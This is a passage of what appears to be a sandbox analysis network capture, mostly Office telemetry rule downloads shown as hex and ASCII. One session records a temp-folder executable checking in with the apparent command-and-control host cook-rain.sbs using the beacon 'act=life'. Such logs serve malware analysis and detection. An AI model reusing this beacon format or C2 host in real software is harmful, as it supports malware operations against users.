4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:10 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:11 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ccc5299a-501e-000a-5c21-370180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200411Z-164f84587bfsqsthhC1DFWh63000000005ag00000000pw7a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:11 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:11 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:11 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 200f6d4e-701e-003e-2fb8-3779b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200411Z-1866b5c5fbb7km9phC1DFWr2sc000000055g00000000awcn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:11 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:11 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:11 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: c0db5769-f01e-0020-0591-37956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200411Z-164f84587bfs5tz9hC1DFW9a3w00000006dg000000005dq3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:11 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:11 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:11 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 3e2bc75c-901e-0048-059c-37b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200411Z-1866b5c5fbbkbjq9hC1DFWf1es000000054g00000000rkkd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:11 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:11 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:11 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:11 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200411Z-1866b5c5fbbqmbqjhC1DFWwgvc00000005s000000000sdpw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:11 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:11 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:12 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 32d33ebf-401e-0048-7d9e-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200411Z-16547b76f7f5b5tthC1DFWuk8400000004w000000000g3zw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:12 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:13 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:13 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: fa98855d-501e-0064-4540-361f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200413Z-1866b5c5fbbtpjhjhC1DFWr6tw000000067000000000de10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:13 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:13 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 598b0884-401e-005b-48af-369c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200413Z-16547b76f7ftnm6xhC1DFW9c8c00000005u000000000tvwc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:13 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:13 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:13 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:13 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200413Z-16547b76f7fl5zvnhC1DFWtk9g00000004k000000001104y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:13 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:13 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:13 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:13 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200413Z-16547b76f7fjx5nrhC1DFW4dsc00000003b000000000xqhf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:13 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49817	188.114.96.3	443	7128	C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:13 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-18 20:04:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-18 20:04:14 UTC	981	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nr6elg8pdno7l3i35646bn8non; expires=Fri, 14-Mar-2025 13:50:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=idW%2FsAJJ5c1%2BLNhqgpC0h17bh00FweKjhLhBHrR0PcVucXlOYOvz4JB2oBM78d8qj4Wzt4ZcLYBzuCV7Axf1yi2%2FfaZfF4F1w6R0xB5X0MJTiB7cN4n9ku%2BqQolk1TQJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a91839a1dbca8-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18998&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=153862&cwnd=32&unsent_bytes=0&cid=b239f6f6740b1a89&ts=557&x=0"
2024-11-18 20:04:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-18 20:04:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:14 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:14 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 685cc001-201e-0085-3009-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200414Z-16547b76f7fp6s5dhC1DFWe28g00000003kg000000006e1y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49820	13.107.246.45	443

